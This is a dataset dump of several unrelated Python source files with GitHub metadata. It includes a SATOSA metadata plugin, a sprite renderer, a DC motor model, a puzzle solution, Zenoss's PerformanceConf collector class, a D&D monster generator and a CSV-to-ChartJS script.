KEY_OIDC_REQUESTER_METADATA\n if is_oidc_client(entity_id)\n else KEY_SAML_REQUESTER_METADATA\n )\n return md\n\n def get_entity_id(self, internal_data):\n entity_id = internal_data.requester\n return entity_id\n\n\nclass MetaInfoIssuer(_MetaInfoService, ResponseMicroService):\n \"\"\"\n Extract metadata info for the issuer.\n\n Example configuration:\n\n ```yaml\n module: satosa.micro_services.metainfo.MetaInfoIssuer\n name: MetaInfoIssuer\n ```\n \"\"\"\n\n def extract_metadata_state(self, state):\n metadata = state.pop(KEY_STATE, {}).get(\"metadata\", {})\n return metadata\n\n def update_metadata_state(self, state, metadata):\n state[KEY_STATE] = {\"metadata\": metadata}\n\n def get_metadata_store(self, context, entity_id):\n md = context.get_decoration(KEY_ISSUER_METADATA)\n return md\n\n def get_entity_id(self, internal_data):\n entity_id = internal_data.auth_info.issuer\n return entity_id\n\n\nclass MetaInfoRequesterOnResponse(MetaInfoIssuer):\n \"\"\"\n Extract metadata info for the requester.\n\n Example configuration:\n\n ```yaml\n module: satosa.micro_services.metainfo.MetaInfoRequesterOnResponse\n name: MetaInfoRequesterOnResponse\n ```\n \"\"\"\n\n def update_metadata_state(self, state, metadata):\n state[KEY_STATE] = {\"metadata\": metadata}\n\n def get_entity_id(self, internal_data):\n entity_id = internal_data.requester\n return entity_id\n","repo_name":"SUNET/swamid-satosa","sub_path":"src/swamid_plugins/metainfo/metainfo.py","file_name":"metainfo.py","file_ext":"py","file_size_in_byte":4219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17772003132","text":"class Sprite:\n\tdef __init__(self, x=0, y=0, costume_index=0, direction=90, size=100):\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.costume_index = costume_index\n\t\tself.costumes = []\n\t\tself.direction = direction\n\t\tself.size = size\n\tdef render(self, screen):\n\t\tcostume = self.costumes[sprite.costume_index]\n\t\trender_y = (360 / 2) - self.y - (costume.y / costume.resolution)\n\t\trender_x = (480 / 2) + self.x - (costume.x / costume.resolution)\n\t\t\n\t\tscale = self.size / 100\n\t\tscaled_width = scale * costume.get_width()\n\t\tscaled_height = scale * costume.get_height()\n\t\tscaled_image = costume.get_image(scale)\n\t\t\n\t\trot_image = pygame.transform.rotate(scaled_image, 90 - self.direction)\n\t\trot_rect = rot_image.get_rect(center=(render_x, render_y))\n\t\tscreen.blit(rot_image, rot_rect)\n","repo_name":"adumbidiot/scratch-native","sub_path":"lib/scratch/src/target/sprite.py","file_name":"sprite.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"26017942456","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 3 14:12:54 2021\n\n@author: alexd\n\"\"\"\n\nimport numpy as np\nfrom scipy.integrate import odeint\nimport constants as cte\n\n\ndef dif_eq_acceleration(d_theta: np.ndarray, t: float, i: float, c = 0) -> float:\n \n return float((cte.K*i - cte.b*d_theta)/cte.J) #return acceleration (d_2_theta)\n\ndef dif_eq_current(i: np.ndarray, t: float, V: float, d_theta: float) -> float:\n \n return float((V - cte.K*d_theta - cte.R*i)/cte.L) #returns current variation (d_i)\n\ndef model_speed(t: np.ndarray, d_theta_0: float, d_theta: float, i: float) -> float:\n \n if t == 0.00:\n d_theta_ini = d_theta_0\n t = np.array([0.00, 0.01])\n else:\n d_theta_ini = d_theta\n t = np.array([t, t+0.01])\n \n return float(np.array(odeint(dif_eq_acceleration, d_theta_ini, t, args=(i, 0)))[1])\n\n\ndef model_current(t: np.ndarray, i_0: float, i: float, V: float, d_theta: float) -> float:\n \n if t == 0.00:\n i_ini = i_0\n t = np.array([0.00, 0.01])\n else:\n i_ini = i\n t = np.array([t, t+0.01])\n \n return float(np.array(odeint(dif_eq_current, i_ini, t, args=(V, d_theta)))[1])\n \n ","repo_name":"Derkch/DC_motor_control","sub_path":"model_DC_motor.py","file_name":"model_DC_motor.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15007468488","text":"import sys\r\n\r\nn = int(input())\r\nimap = []\r\nvisited = [[False] * n for _ in range(n)]\r\nfor i in range(n):\r\n imap.append(list(map(int, sys.stdin.readline().split())))\r\n for j in range(n):\r\n if not imap[i][j]:\r\n visited[i][j] = True\r\nislands = []\r\ncnt = 0\r\nfor i in range(n):\r\n for j in range(n):\r\n if not visited[i][j]:\r\n goto = {(i, j)}\r\n group = set()\r\n while True:\r\n for x, y in goto:\r\n visited[x][y] = True\r\n group.add((x, y))\r\n new_goto = set()\r\n for x, y in goto:\r\n for a, b in [(x - 1, y), (x, y - 1), (x + 1, y), (x, y + 1)]:\r\n if 0 <= a < n and 0 <= b < n and not visited[a][b]:\r\n new_goto.add((a, b))\r\n goto = new_goto\r\n if not goto:\r\n break\r\n islands.append(group)\r\nshortest = 2001\r\nfor island in islands[:-1]:\r\n visited = [[False] * n for _ in range(n)]\r\n goto = island\r\n cnt = -1\r\n for x, y in island:\r\n imap[x][y] = 0\r\n arrived = False\r\n while True:\r\n for x, y in goto:\r\n visited[x][y] = True\r\n if imap[x][y]:\r\n arrived = True\r\n break\r\n if arrived:\r\n break\r\n new_goto = set()\r\n for x, y in goto:\r\n for a, b in [(x - 1, y), (x, y - 1), (x + 1, y), (x, y + 1)]:\r\n if 0 <= a < n and 0 <= b < n and not visited[a][b]:\r\n new_goto.add((a, b))\r\n goto = new_goto\r\n cnt += 1\r\n if cnt < shortest:\r\n shortest = cnt\r\nprint(shortest)\r\n","repo_name":"CodingOnionFarmer/JNH-BOJ-SWEA","sub_path":"백준/Gold/2146. 다리 만들기/다리 만들기.py","file_name":"다리 만들기.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17613936043","text":"import logging\nimport re\n\nfrom ipaddr import IPAddress\n\nlog = logging.getLogger('zen.PerformanceConf')\n\nfrom zope import component\nfrom zope.component.factory import Factory\nfrom zope.interface import implementer\n\nfrom Products.ZenUtils.IpUtil import ipwrap\n\nfrom AccessControl import ClassSecurityInfo\nfrom AccessControl import Permissions as permissions\nfrom App.special_dtml import DTMLFile\nfrom AccessControl.class_init import InitializeClass\nfrom Monitor import Monitor\nfrom Products.Jobber.jobs import SubprocessJob\nfrom Products.ZenRelations.RelSchema import ToMany, ToOne\nfrom Products.ZenUtils.deprecated import deprecated\nfrom Products.ZenUtils.Utils import binPath, unused, isXmlRpc, executeCommand\nfrom Products.ZenUtils.GlobalConfig import getGlobalConfiguration\nfrom Products.ZenModel.ZDeviceLoader import CreateDeviceJob\nfrom Products.ZenWidgets import messaging\nfrom Products.ZenMessaging.audit import audit\n\nfrom .StatusColor import StatusColor\nfrom .interfaces import IMonitor\n\nSUMMARY_COLLECTOR_REQUEST_TIMEOUT = float(\n getGlobalConfiguration().get('collectorRequestTimeout', 5))\n\n\ndef manage_addPerformanceConf(context, id, title=None, REQUEST=None,):\n \"\"\"\n Make a device class\n\n @param context: Where you are in the Zope acquisition path\n @type context: Zope context object\n @param id: unique identifier\n @type id: string\n @param title: user readable label (unused)\n @type title: string\n @param REQUEST: Zope REQUEST object\n @type REQUEST: Zope REQUEST object\n @return:\n @rtype:\n \"\"\"\n unused(title)\n # Use the factory to create the monitor.\n component.createObject(PerformanceConf.meta_type, context, id)\n if REQUEST is not None:\n REQUEST['RESPONSE'].redirect(context.absolute_url_path() + '/manage_main')\n\naddPerformanceConf = DTMLFile('dtml/addPerformanceConf', globals())\n\n\nclass PerformanceConfFactory(Factory):\n \"\"\"\n IFactory implementation for PerformanceConf objects.\n\n The factory create the PerformanceConf instance and attaches it to\n the dmd.Monitor.Performance folder.\n \"\"\"\n\n def __init__(self):\n super(PerformanceConfFactory, self).__init__(\n PerformanceConf, PerformanceConf.meta_type, \"Performance Monitor\"\n )\n\n def __call__(self, folder, monitorId, sourceId=None):\n \"\"\"\n Creates a new PerformanceConf object, saves it to ZODB, and returns\n the new object.\n\n :param Folder folder: The new monitor is attached here.\n :param string monitorId: The ID/name of the monitor\n :param string sourceId: The ID/name of the monitor to copy\n properties from.\n :rtype PerformanceConf: The new monitor.\n \"\"\"\n sourceId = sourceId if sourceId is not None else \"localhost\"\n monitor = folder.get(monitorId)\n if monitor:\n raise ValueError(\n \"Performance Monitor with ID '%s' already exitsts.\"\n % (monitorId,)\n )\n source = folder.get(sourceId)\n if source is None:\n source = folder.get(\"localhost\")\n if source:\n source = source.primaryAq()\n monitor = super(PerformanceConfFactory, self).__call__(monitorId)\n if source:\n sourceprops = dict(source.propertyItems())\n monitor.manage_changeProperties(**sourceprops)\n folder[monitorId] = monitor\n monitor = folder.get(monitorId)\n monitor.buildRelations()\n return monitor\n\n\n@implementer(IMonitor)\nclass PerformanceConf(Monitor, StatusColor):\n \"\"\"\n Configuration for Performance servers\n \"\"\"\n portal_type = meta_type = 'PerformanceConf'\n monitorRootName = 'Performance'\n\n security = ClassSecurityInfo()\n security.setDefaultAccess('allow')\n\n eventlogCycleInterval = 60\n perfsnmpCycleInterval = 300\n processCycleInterval = 180\n statusCycleInterval = 60\n winCycleInterval = 60\n wmibatchSize = 10\n wmiqueryTimeout = 100\n configCycleInterval = 6 * 60\n\n zenProcessParallelJobs = 10\n\n pingTimeOut = 1.5\n pingTries = 2\n pingChunk = 75\n pingCycleInterval = 60\n maxPingFailures = 1440\n\n modelerCycleInterval = 720\n discoveryNetworks = ()\n\n _properties = (\n {'id': 'eventlogCycleInterval', 'type': 'int', 'mode': 'w'},\n {'id': 'processCycleInterval', 'type': 'int', 'mode': 'w'},\n {'id': 'statusCycleInterval', 'type': 'int', 'mode': 'w'},\n {'id': 'winCycleInterval', 'type': 'int', 'mode': 'w'},\n {'id': 'wmibatchSize', 'type': 'int', 'mode': 'w',\n 'description': \"Number of data objects to retrieve in a single WMI query\"},\n {'id': 'wmiqueryTimeout', 'type': 'int', 'mode': 'w',\n 'description': \"Number of milliseconds to wait for WMI query to respond\"},\n {'id': 'configCycleInterval', 'type': 'int', 'mode': 'w'},\n {'id': 'zenProcessParallelJobs', 'type': 'int', 'mode': 'w'},\n {'id': 'pingTimeOut', 'type': 'float', 'mode': 'w'},\n {'id': 'pingTries', 'type': 'int', 'mode': 'w'},\n {'id': 'pingChunk', 'type': 'int', 'mode': 'w'},\n {'id': 'pingCycleInterval', 'type': 'int', 'mode': 'w'},\n {'id': 'maxPingFailures', 'type': 'int', 'mode': 'w'},\n {'id': 'modelerCycleInterval', 'type': 'int', 'mode': 'w'},\n {'id': 'discoveryNetworks', 'type': 'lines', 'mode': 'w'},\n )\n\n _relations = Monitor._relations + (\n (\"devices\", ToMany(ToOne, \"Products.ZenModel.Device\", \"perfServer\")),\n )\n\n # Screen action bindings (and tab definitions)\n factory_type_information = ({\n 'immediate_view': 'viewPerformanceConfOverview',\n 'actions': ({\n 'id': 'overview',\n 'name': 'Overview',\n 'action': 'viewPerformanceConfOverview',\n 'permissions': (permissions.view,)\n }, {\n 'id': 'edit',\n 'name': 'Edit',\n 'action': 'editPerformanceConf',\n 'permissions': (\"Manage DMD\",)\n }, {\n 'id': 'performance',\n 'name': 'Performance',\n 'action': 'viewDaemonPerformance',\n 'permissions': (permissions.view,)\n },)\n },)\n\n def findDevice(self, deviceName):\n \"\"\"\n Return the object given the name\n\n @param deviceName: Name of a device\n @type deviceName: string\n @return: device corresponding to the name, or None\n @rtype: device object\n \"\"\"\n brains = self.dmd.Devices._findDevice(deviceName)\n if brains:\n return brains[0].getObject()\n\n def findDeviceByIdExact(self, deviceName):\n \"\"\"\n Look up device in catalog and return it. devicename\n must match device id exactly\n\n @param deviceName: Name of a device\n @type deviceName: string\n @return: device corresponding to the name, or None\n @rtype: device object\n \"\"\"\n dev = self.dmd.Devices.findDeviceByIdExact(deviceName)\n if dev:\n return dev\n\n def getNetworkRoot(self, version=None):\n \"\"\"\n Get the root of the Network object in the DMD\n\n @return: base DMD Network object\n @rtype: Network object\n \"\"\"\n return self.dmd.Networks.getNetworkRoot(version)\n\n security.declareProtected('View', 'performanceDeviceList')\n def performanceDeviceList(self, force=True):\n \"\"\"\n Return a list of URLs that point to our managed devices\n\n @param force: unused\n @type force: boolean\n @return: list of device objects\n @rtype: list\n \"\"\"\n unused(force)\n devlist = []\n for dev in self.devices():\n dev = dev.primaryAq()\n if not dev.pastSnmpMaxFailures() and dev.monitorDevice():\n devlist.append(dev.getPrimaryUrlPath())\n return devlist\n\n security.declareProtected('View', 'performanceDataSources')\n def performanceDataSources(self):\n \"\"\"\n Return a string that has all the definitions for the performance DS's.\n\n @return: list of Data Sources\n @rtype: string\n \"\"\"\n dses = []\n oidtmpl = 'OID %s %s'\n dstmpl = \"\"\"datasource %s\n rrd-ds-type = %s\n ds-source = snmp://%%snmp%%/%s%s\n \"\"\"\n rrdconfig = self.getDmdRoot('Devices').rrdconfig\n for ds in rrdconfig.objectValues(spec='RRDDataSource'):\n if ds.isrow:\n inst = '.%inst%'\n else:\n inst = ''\n dses.append(oidtmpl % (ds.getName(), ds.oid))\n dses.append(dstmpl % (ds.getName(), ds.rrdtype,\n ds.getName(), inst))\n return '\\n'.join(dses)\n\n def setPerformanceMonitor(\n self, performanceMonitor=None, deviceNames=None, REQUEST=None):\n \"\"\"\n Provide a method to set performance monitor from any organizer\n\n @param performanceMonitor: DMD object that collects from a device\n @type performanceMonitor: DMD object\n @param deviceNames: list of device names\n @type deviceNames: list\n @param REQUEST: Zope REQUEST object\n @type REQUEST: Zope REQUEST object\n \"\"\"\n if not performanceMonitor:\n if REQUEST:\n messaging.IMessageSender(self).sendToBrowser(\n 'Error', 'No monitor was selected.',\n priority=messaging.WARNING\n )\n return self.callZenScreen(REQUEST)\n if deviceNames is None:\n if REQUEST:\n messaging.IMessageSender(self).sendToBrowser(\n 'Error', 'No devices were selected.',\n priority=messaging.WARNING\n )\n return self.callZenScreen(REQUEST)\n for devName in deviceNames:\n dev = self.devices._getOb(devName)\n dev = dev.primaryAq()\n dev.setPerformanceMonitor(performanceMonitor)\n if REQUEST:\n audit(\n 'UI.Device.ChangeCollector',\n dev, collector=performanceMonitor\n )\n if REQUEST:\n messaging.IMessageSender(self).sendToBrowser(\n 'Monitor Set',\n 'Performance monitor was set to %s.' % performanceMonitor\n )\n if \"oneKeyValueSoInstanceIsntEmptyAndEvalToFalse\" in REQUEST:\n return REQUEST['message']\n else:\n return self.callZenScreen(REQUEST)\n\n security.declareProtected('View', 'getPingDevices')\n def getPingDevices(self):\n \"\"\"\n Return devices associated with this monitor configuration.\n\n @return: list of devices for this monitor\n @rtype: list\n \"\"\"\n devices = []\n for dev in self.devices.objectValuesAll():\n dev = dev.primaryAq()\n if dev.monitorDevice() and not dev.zPingMonitorIgnore:\n devices.append(dev)\n return devices\n\n def addCreateDeviceJob(\n self, deviceName, devicePath, title=None,\n discoverProto=\"none\", manageIp=\"\", performanceMonitor=None,\n rackSlot=0, productionState=1000, comments=\"\",\n hwManufacturer=\"\", hwProductName=\"\", osManufacturer=\"\",\n osProductName=\"\", priority=3, locationPath=\"\", systemPaths=[],\n groupPaths=[], tag=\"\", serialNumber=\"\",\n zProperties={}, cProperties={},):\n \"\"\"\n Creating a device has two steps: creating a 'stub' device in the\n database, then (if requested) running zendisc to model the device.\n The modeling step can be skipped if the discoverProto argument\n is set to the string \"none\".\n\n @returns A list of JobRecord objects.\n \"\"\"\n # Determine the name of the monitor to use.\n monitor = performanceMonitor or self.id\n\n # Check to see if we got passed in an IPv6 address\n try:\n IPAddress(deviceName)\n if not title:\n title = deviceName\n deviceName = ipwrap(deviceName)\n except ValueError:\n pass\n\n # Creating a device is, at most, a two-step process. First a\n # device 'stub' is created in the database then, if the\n # discoverProto argument is not 'none', then zendisc is run to\n # discover and model the device. The process is implemented using\n # two jobs.\n\n subjobs = [\n CreateDeviceJob.makeSubJob(\n args=(deviceName,),\n kwargs=dict(\n devicePath=devicePath,\n title=title,\n discoverProto=discoverProto,\n manageIp=manageIp,\n performanceMonitor=monitor,\n rackSlot=rackSlot,\n productionState=productionState,\n comments=comments,\n hwManufacturer=hwManufacturer,\n hwProductName=hwProductName,\n osManufacturer=osManufacturer,\n osProductName=osProductName,\n priority=priority,\n tag=tag,\n serialNumber=serialNumber,\n locationPath=locationPath,\n systemPaths=systemPaths,\n groupPaths=groupPaths,\n zProperties=zProperties,\n cProperties=cProperties,\n )\n )\n ]\n if discoverProto != 'none':\n zendiscCmd = self._getZenDiscCommand(\n deviceName, devicePath, monitor, productionState\n )\n subjobs.append(\n SubprocessJob.makeSubJob(\n args=(zendiscCmd,),\n description=\"Discover and model device %s as %s\" % (\n deviceName, devicePath\n )\n )\n )\n # Set the 'immutable' flag to indicate that the result of the prior\n # job is not passed as arguments into the next job (basically, args\n # to the jobs are immutable).\n return self.dmd.JobManager.addJobChain(*subjobs, immutable=True)\n\n @deprecated\n def addDeviceCreationJob(\n self, deviceName, devicePath, title=None,\n discoverProto=\"none\", manageIp=\"\",\n performanceMonitor=None,\n rackSlot=0, productionState=1000, comments=\"\",\n hwManufacturer=\"\", hwProductName=\"\",\n osManufacturer=\"\", osProductName=\"\", priority=3,\n locationPath=\"\", systemPaths=[], groupPaths=[],\n tag=\"\", serialNumber=\"\", zProperties={}):\n \"\"\"\n For backward compatibility. Please use the addCreateDeviceJob\n method instead of the addDeviceCreationJob method.\n \"\"\"\n result = self.addCreateDeviceJob(\n deviceName, devicePath, title=title,\n discoverProto=discoverProto, manageIp=manageIp,\n performanceMonitor=performanceMonitor, rackSlot=rackSlot,\n productionState=productionState, comments=comments,\n hwManufacturer=hwManufacturer, hwProductName=hwProductName,\n osManufacturer=osManufacturer, osProductName=osProductName,\n priority=priority, locationPath=locationPath,\n systemPaths=systemPaths, groupPaths=groupPaths, tag=tag,\n serialNumber=serialNumber, zProperties=zProperties\n )\n return result[-1]\n\n def _executeZenDiscCommand(\n self, deviceName, devicePath=\"/Discovered\",\n performanceMonitor=\"localhost\", productionState=1000,\n background=False, REQUEST=None):\n \"\"\"\n Execute zendisc on the new device and return result\n\n @param deviceName: Name of a device\n @type deviceName: string\n @param devicePath: DMD path to create the new device in\n @type devicePath: string\n @param performanceMonitor: DMD object that collects from a device\n @type performanceMonitor: DMD object\n @param background: should command be scheduled job?\n @type background: boolean\n @param REQUEST: Zope REQUEST object\n @type REQUEST: Zope REQUEST object\n @return:\n @rtype:\n \"\"\"\n args = [deviceName, devicePath, performanceMonitor, productionState]\n if background:\n zendiscCmd = self._getZenDiscCommand(*args)\n result = self.dmd.JobManager.addJob(\n SubprocessJob, args=(zendiscCmd,),\n description=\"Discover and model device %s as %s\" % (\n args[0], args[1]\n )\n )\n else:\n args.append(REQUEST)\n zendiscCmd = self._getZenDiscCommand(*args)\n result = self._executeCommand(zendiscCmd, REQUEST)\n return result\n\n def _getZenDiscCommand(\n self, deviceName, devicePath,\n performanceMonitor, productionState, REQUEST=None, max_seconds=None):\n zm = binPath('zendisc')\n zendiscCmd = [zm]\n deviceName = self._escapeParentheses(deviceName)\n zendiscOptions = [\n 'run', '--now', '-d', deviceName,\n '--monitor', performanceMonitor,\n '--deviceclass', devicePath,\n '--prod_state', str(productionState)\n ]\n if REQUEST:\n zendiscOptions.append(\"--weblog\")\n zendiscCmd.extend(zendiscOptions)\n log.info('local zendiscCmd is \"%s\"', ' '.join(zendiscCmd))\n return zendiscCmd\n\n def getCollectorCommand(self, command):\n return [binPath(command)]\n\n def executeCollectorCommand(self, command, args, REQUEST=None):\n \"\"\"\n Executes the collector based daemon command.\n\n @param command: the collector daemon to run, should not include path\n @type command: string\n @param args: list of arguments for the command\n @type args: list of strings\n @param REQUEST: Zope REQUEST object\n @type REQUEST: Zope REQUEST object\n @return: result of the command\n @rtype: string\n \"\"\"\n cmd = binPath(command)\n daemonCmd = [cmd]\n daemonCmd.extend(args)\n result = self._executeCommand(daemonCmd, REQUEST)\n return result\n\n def collectDevice(\n self, device=None, setlog=True, REQUEST=None,\n generateEvents=False, background=False, write=None,\n collectPlugins='', debug=False):\n \"\"\"\n Collect the configuration of this device AKA Model Device\n\n @permission: ZEN_MANAGE_DEVICE\n @param device: Name of a device or entry in DMD\n @type device: string\n @param setlog: If true, set up the output log of this process\n @type setlog: boolean\n @param REQUEST: Zope REQUEST object\n @type REQUEST: Zope REQUEST object\n @param generateEvents: unused\n @type generateEvents: string\n @param collectPlugins: (optional) Modeler plugins to use.\n Takes a regular expression (default: '')\n @type collectPlugins: string\n \"\"\"\n xmlrpc = isXmlRpc(REQUEST)\n result = self._executeZenModelerCommand(device.id, self.id, background,\n REQUEST, write,\n collectPlugins=collectPlugins, debug=debug)\n if result and xmlrpc:\n return result\n log.info('configuration collected')\n\n if xmlrpc:\n return 0\n\n def _executeZenModelerCommand(\n self, deviceName, performanceMonitor=\"localhost\", background=False,\n REQUEST=None, write=None, collectPlugins='', debug=False):\n \"\"\"\n Execute zenmodeler and return result\n @param deviceName: The name of the device\n @type deviceName: string\n @param performanceMonitor: Name of the collector\n @type performanceMonitor: string\n @param REQUEST: Zope REQUEST object\n @type REQUEST: Zope REQUEST object\n @param collectPlugins: (optional) Modeler plugins to use.\n Takes a regular expression (default: '')\n @type collectPlugins: string\n @return: results of command\n @rtype: string\n \"\"\"\n args = [deviceName, performanceMonitor, collectPlugins]\n if background:\n zenmodelerCmd = self._getZenModelerCommand(*args)\n log.info('queued job: %s', \" \".join(zenmodelerCmd))\n result = self.dmd.JobManager.addJob(\n SubprocessJob,\n description=\"Run zenmodeler %s\" % ' '.join(zenmodelerCmd),\n args=(zenmodelerCmd,)\n )\n else:\n args.append(REQUEST)\n zenmodelerCmd = self._getZenModelerCommand(*args)\n if debug:\n zenmodelerCmd.append('-v10')\n result = self._executeCommand(zenmodelerCmd, REQUEST, write)\n return result\n\n def _getZenModelerCommand(\n self, deviceName, performanceMonitor, collectPlugins='', REQUEST=None):\n zm = binPath('zenmodeler')\n cmd = [zm]\n deviceName = self._escapeParentheses(deviceName)\n options = [\n 'run', '--now', '-d', deviceName, '--monitor', performanceMonitor,\n '--collect={}'.format(collectPlugins)\n ]\n cmd.extend(options)\n log.info('local zenmodelerCmd is \"%s\"', ' '.join(cmd))\n return cmd\n\n def _executeCommand(self, remoteCommand, REQUEST=None, write=None):\n result = executeCommand(remoteCommand, REQUEST, write)\n return result\n\n def runDeviceMonitor(\n self, device=None, REQUEST=None, write=None,\n collection_daemons=None, debug=False):\n \"\"\"\n Run collection daemons against specific device\n \"\"\"\n xmlrpc = isXmlRpc(REQUEST)\n result = self._executeMonitoringCommands(device.id, self.id, write,\n REQUEST, collection_daemons,\n debug)\n if result and xmlrpc:\n return result\n log.info('configuration collected')\n\n if xmlrpc:\n return 0\n\n def runDeviceMonitorPerDatasource(\n self, device=None, REQUEST=None, write=None,\n collection_daemon=None, parameter='', value=''):\n \"\"\"\n Run collection daemon against specific datasource\n \"\"\"\n xmlrpc = isXmlRpc(REQUEST)\n monitoringCmd = self._getMonitoringCommand(device.id, self.id, write,\n collection_daemon,\n parameter, value)\n result = self._executeCommand(monitoringCmd, REQUEST, write)\n if result and xmlrpc:\n return result\n log.info('configuration collected')\n\n if xmlrpc:\n return 0\n\n def _executeMonitoringCommands(\n self, deviceName, performanceMonitor=\"localhost\",\n write=None, REQUEST=None, collection_daemons=None, debug=False):\n \"\"\"\n Execure monitoring daemon command\n \"\"\"\n for daemon in collection_daemons:\n monitoringCmd = self._getMonitoringCommand(deviceName,\n performanceMonitor,\n write, daemon)\n if debug:\n monitoringCmd.append('-v10')\n result = self._executeCommand(monitoringCmd, REQUEST, write)\n return result\n\n def _getMonitoringCommand(\n self, deviceName, performanceMonitor, write=None, daemon=None,\n parameter='', value=''):\n \"\"\"\n Get monitoring command and create command to run\n \"\"\"\n cmd = [binPath(daemon)]\n deviceName = self._escapeParentheses(deviceName)\n options = [\n 'run', '-d', deviceName, '--monitor', performanceMonitor,\n parameter, value\n ]\n cmd.extend(options)\n log_message = 'local monitoring cmd is \"%s\"\\n' % ' '.join(cmd)\n if write:\n write(log_message)\n log.info(log_message)\n return cmd\n\n\n def _escapeParentheses(self, string):\n \"\"\"\n Escape unascaped parentheses.\n \"\"\"\n compiled = re.compile(r'(?[()])')\n return compiled.sub(r'\\\\\\g', string)\n\n\nclass RenderURLUtilContext(object):\n \"\"\"\n Deprecated\n \"\"\"\n pass\n\n\nclass RenderURLUtil(object):\n \"\"\"\n Deprecated\n This is no longer used but the stub class so zenpacks will\n work on an upgrade.\n \"\"\"\n pass\n\nInitializeClass(PerformanceConf)\n","repo_name":"zenoss/zenoss-prodbin","sub_path":"Products/ZenModel/PerformanceConf.py","file_name":"PerformanceConf.py","file_ext":"py","file_size_in_byte":24750,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"71013980993","text":"from app_module import app\nfrom flask import render_template, request\n# from webscraper import *\nfrom helping_functions import *\nfrom random import randint, choice\n\n'''\n@app.route('/')\n@app.route('/index/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/spells/', methods=['post', 'get'])\ndef spells():\n if request.method == 'POST':\n spellname = request.form.get('name')\n f = open('app_module/text_databases/spells_res.txt', \"r\")\n contents = f.read().splitlines()\n f.close()\n f = open('app_module/text_databases/spells_not_found.txt', \"r\")\n not_found = set(f.read().splitlines())\n f.close()\n if spellname in contents and spellname not in not_found:\n r = Retriever()\n search_eb = r.get_result_obj(spellname)\n p = Parser(search_eb)\n p.gather_attributes()\n return render_template('card_template_test.html', spell=spellname, ct=p.details['Casting Time'],\n rg=p.details['Range'], cmp=p.details['Components'], dr=p.details['Duration'])\n return render_template('spell.html')\n'''\n\n\n@app.route('/')\n@app.route('/index/')\n@app.route('/random_monster/')\ndef random_monster():\n adjectives = get_list('adjectives')\n nouns = get_list('nouns')\n nm = choice(adjectives) + ' ' + choice(nouns)\n d, s = generate_stats()\n return render_template('monster_card.html', AC=randint(10, 25), name=nm, sz=choice(get_list('sizes')),\n hp=generate_dice(0, 0, 10, 15, 20), tp=choice(get_list('types')),\n al=choice(get_list('alignments')), spd=randint(4, 8) * 5, d=d, s=s, pp=10+int(s[4]),\n im=generate_immunities(), cd=generate_conditions(), lng=generate_languages(),\n att1=choice(get_list('attacks')), att2=choice(get_list('attacks')),\n mod1=randint(4, 14), mod2=randint(4, 14), tp1=choice(get_list('damages')),\n tp2=choice(get_list('damages')), dmg1=generate_dice(randint(0, 1), randint(0, 1), randint(0, 4), randint(1, 5),\n randint(1, 20)), dmg2=generate_dice(randint(0, 1), randint(0, 1), randint(0, 4), randint(1, 5),\n randint(1, 20)),\n txt=generate_text(nm))\n","repo_name":"jetminded/mipt_dnd_webscraper_py","sub_path":"app_module/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72878266114","text":"#!/usr/bin/env python\n\"\"\"\nUsage: csv_to_json.py \n\"\"\"\nimport csv\nimport json\nimport sys\nfrom typing import List\n\n\ndef csv_to_dicts(csv_file: str) -> List[dict]:\n \"\"\"Convert a CSV file to a JSON file\"\"\"\n with open(csv_file, \"r\") as csv_fh:\n reader = csv.DictReader(csv_fh)\n return list(reader)\n\n\ngraphs = {\n \"lock\": {\"labels\": [], \"datasets\": [{\"data\": []}]},\n \"update\": {\"labels\": [], \"datasets\": [{\"data\": []}]},\n \"add-package\": {\"labels\": [], \"datasets\": [{\"data\": []}]},\n \"tooling\": {\"labels\": [], \"datasets\": [{\"data\": []}]},\n}\n\n\ndef convert_to_chartjs(data: List[dict]):\n \"\"\"Convert a list of dicts into objects that can be used by ChartJS\"\"\"\n vals = []\n for i in data:\n\n if i[\"stat\"] in graphs:\n key = i[\"stat\"]\n else:\n continue\n vals.append(float(i[\"elapsed time (max)\"]))\n graphs[key][\"datasets\"][0][\"data\"].append({\"id\": i[\"tool\"], \"max\": i[\"elapsed time (max)\"], \"min\": i[\"elapsed time (min)\"], \"avg\": i[\"elapsed time\"]})\n\n # install needs both cold & warm datapoints\n graphs[\"install\"] = {\"labels\": []}\n warm = {\"data\": [], \"label\": \"warm\"}\n cold = {\"data\": [], \"label\": \"cold\"}\n for i in data:\n if i[\"stat\"] == \"install-cold\":\n cold[\"data\"].append({\"id\": i[\"tool\"], \"max\": i[\"elapsed time (max)\"], \"min\": i[\"elapsed time (min)\"], \"avg\": i[\"elapsed time\"]})\n elif i[\"stat\"] == \"install-warm\":\n warm[\"data\"].append({\"id\": i[\"tool\"], \"max\": i[\"elapsed time (max)\"], \"min\": i[\"elapsed time (min)\"], \"avg\": i[\"elapsed time\"]})\n else:\n continue\n vals.append(float(i[\"elapsed time (max)\"]))\n graphs[\"install\"][\"datasets\"] = [cold, warm]\n\n # cleanup missing data points (might be waiting for a scheduled run)\n for graph in list(graphs.keys()):\n if not graphs[graph][\"datasets\"]:\n del graphs[graph]\n\n graphs[\"max\"] = max(*vals)\n return graphs\n\n\nif __name__ == \"__main__\":\n data = csv_to_dicts(sys.argv[1])\n print(json.dumps(convert_to_chartjs(data), indent=2))\n","repo_name":"lincolnloop/python-package-manager-shootout","sub_path":"site/csv_to_json.py","file_name":"csv_to_json.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"72267443395","text":"# coding = utf8\r\n\r\nfrom __future__ import print_function, unicode_literals, division \r\nfrom future_builtins import *\r\n\r\nimport os\r\nimport sys\r\nimport pprint\r\n\r\ndef main():\r\n 